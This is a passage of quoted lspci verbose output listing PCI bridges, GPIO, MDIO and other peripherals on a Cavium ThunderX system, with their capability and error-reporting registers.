> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0000:00:0e.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=04, subordinate=04, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0000:00:0f.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=05, subordinate=05, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0000:00:10.0 System peripheral: Cavium, Inc. Device a092
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 828000000000 (32-bit, non-prefetchable) [size=1G]
> Region 4: [virtual] Memory at 828100000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=3 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:11.0 System peripheral: Cavium, Inc. THUNDERX GPIO Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 803000000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 803000f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=176 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:14.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=06, subordinate=06, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0000:00:1a.0 System peripheral: Cavium, Inc. Device a068
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 86d000000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:1c.0 System peripheral: Cavium, Inc. Device a067
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 82c000000000 (32-bit, non-prefetchable) [size=1M]
> Region 4: [virtual] Memory at 82c000100000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=4 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:1d.0 System peripheral: Cavium, Inc. Device a067
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 82d000000000 (32-bit, non-prefetchable) [size=1M]
> Region 4: [virtual] Memory at 82d000100000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=4 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:1e.0 System peripheral: Cavium, Inc. Device a067
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 82e000000000 (32-bit, non-prefetchable) [size=1M]
> Region 4: [virtual] Memory at 82e000100000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=4 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:01:00.0 System peripheral: Cavium, Inc. Device a075
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e0fc000000 (32-bit, non-prefetchable) [size=256K]
> Region 4: [virtual] Memory at 87e0fcf00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 11
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:01.3 Serial bus controller [0c80]: Cavium, Inc. THUNDERX SMI / MDIO Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e005000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 15
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: mdio_thunder
>
> 0000:01:01.7 System peripheral: Cavium, Inc. THUNDERX Parallel Bus
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e001000000 (32-bit, non-prefetchable) [size=1M]
> Region 2: [virtual] Memory at 800000000000 (32-bit, non-prefetchable) [size=4G]
